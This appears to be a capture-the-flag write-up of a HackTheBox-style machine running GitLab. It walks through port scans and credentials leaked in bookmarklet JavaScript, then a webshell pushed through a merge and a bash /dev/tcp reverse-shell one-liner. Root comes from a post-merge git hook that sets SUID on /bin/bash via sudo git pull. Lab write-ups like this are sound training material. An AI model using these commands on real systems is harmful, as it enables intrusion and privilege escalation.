Skip to content



As always a port scan to see where we start:

└─$ sudo nmap -p- --min-rate=1000    
Starting Nmap 7.93 ( ) at 2023-01-28 15:59 CET
Nmap scan report for
Host is up (0.039s latency).
Not shown: 65533 filtered tcp ports (no-response)
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 115.16 seconds

└─$ sudo nmap -p22,80 -sC -sV
Starting Nmap 7.93 ( ) at 2023-01-28 16:03 CET
Nmap scan report for
Host is up (0.039s latency).

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a23bb0dd2891bfe8f9308231232f9218 (RSA)
|   256 e63bfbb37f9a35a8bdd0277b25d4eddc (ECDSA)
|_  256 c9543d91017803ab16146bccf0b73a55 (ED25519)
80/tcp open  http    nginx
|_http-trane-info: Problem with XML parsing of /evox/about
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was
| http-robots.txt: 55 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile 
| /dashboard /projects/new /groups/new /groups/*/edit /users /help 
|_/s/ /snippets/new /snippets/*/edit
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 28.07 seconds

Port 80

Our way in

This is a GitLab installation. By bruteforcing directories I found two registered users: root and clave. The rest of the directories were not interesting... until I clicked the help section.

In the /help directory, I found a directory listing with bookmarks. One of them was actually executing obfuscated javascript. After working on it for a bit, this is the code but readable:

        (function() {
    var values = ["value", "user_login", "getElementById", "clave", "user_password", "11des0081x"];
    document[values[2]](values[1])[values[0]] = values[3];
    document[values[2]](values[4])[values[0]] = values[5];

Basically, this is trying to fill the login details for the user clave. We have credentials to login into GitLAB now! clave:11des0081x.

Logged in as clave

Now we can explore the non public repositories. I found this snipped with what could be credentials for an internal database, I will let this here just in case.

$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");

Then, remember when I said the directory brute force did not really discover important things? Well now I found that these pages are my way in:

Both applications have its repository in the GitLab page.The Deployer thing basically allows me to deploy new merged changes to the master branch of the Profile repository. Since we are allowed to push changes to the Profile test-deploy branch, I uploaded a webshell to the branch and I merged this changes into the master branch.

My new "feature" was deployed without me actually using the Deployer application so... thanks to the administrator I guess. We can now get a reverse shell into the machine by accesing the webshell I uploaded in and executing:

bash -c "/bin/bash -i >& /dev/tcp/ 0>&1"

Remember that you need to prepare a listener in your machine!


Inmediately I executed this:

www-data@bitlab:/var/www$ sudo -l
Matching Defaults entries for www-data on bitlab:
    env_reset, exempt_group=sudo, mail_badpass,

User www-data may run the following commands on bitlab:
    (root) NOPASSWD: /usr/bin/git pull

As I expected, we can execute the git pull command as root (The Deployer application code is using sudo).

There is something called hooks in Git that allows us to basically execute a task when something happens. We can execute as root the pull action, so the code inside a post-merge hook will run as root:

#! /bin/bash

chmod u+s /bin/bash

Of course we cannot do this in the original directory because it is owned by root, so we have to copy the repository to, for example, /tmp and create the hook there. The hook will covert the /bin/bash binary into a SUID binary we can use to escalate. In order for the hook to execute however, we need new changes in the upstream but that is not a problem since we can repeat what we did with the webshell but modifying the file or whatever.

Once everything is ready, pull the changes into our malicious repository and the box is pwned!

www-data@bitlab:/tmp/profile$ sudo /usr/bin/git pull
remote: Enumerating objects: 6, done.
remote: Counting objects: 100% (6/6), done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 4 (delta 2), reused 1 (delta 0)
Unpacking objects: 100% (4/4), done.
From ssh://localhost:3022/root/profile
   c569005..6870424  master      -> origin/master
   4f20db1..5ccecd4  test-deploy -> origin/test-deploy
Updating c569005..6870424
Fast-forward | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)
www-data@bitlab:/tmp/profile$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1113504 Jun  6  2019 /bin/bash
www-data@bitlab:/tmp/profile$ bash -p
bash-4.4# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)

We could have also used this method but with a master and a slave repository so everything is self contained. Check this repository for an example: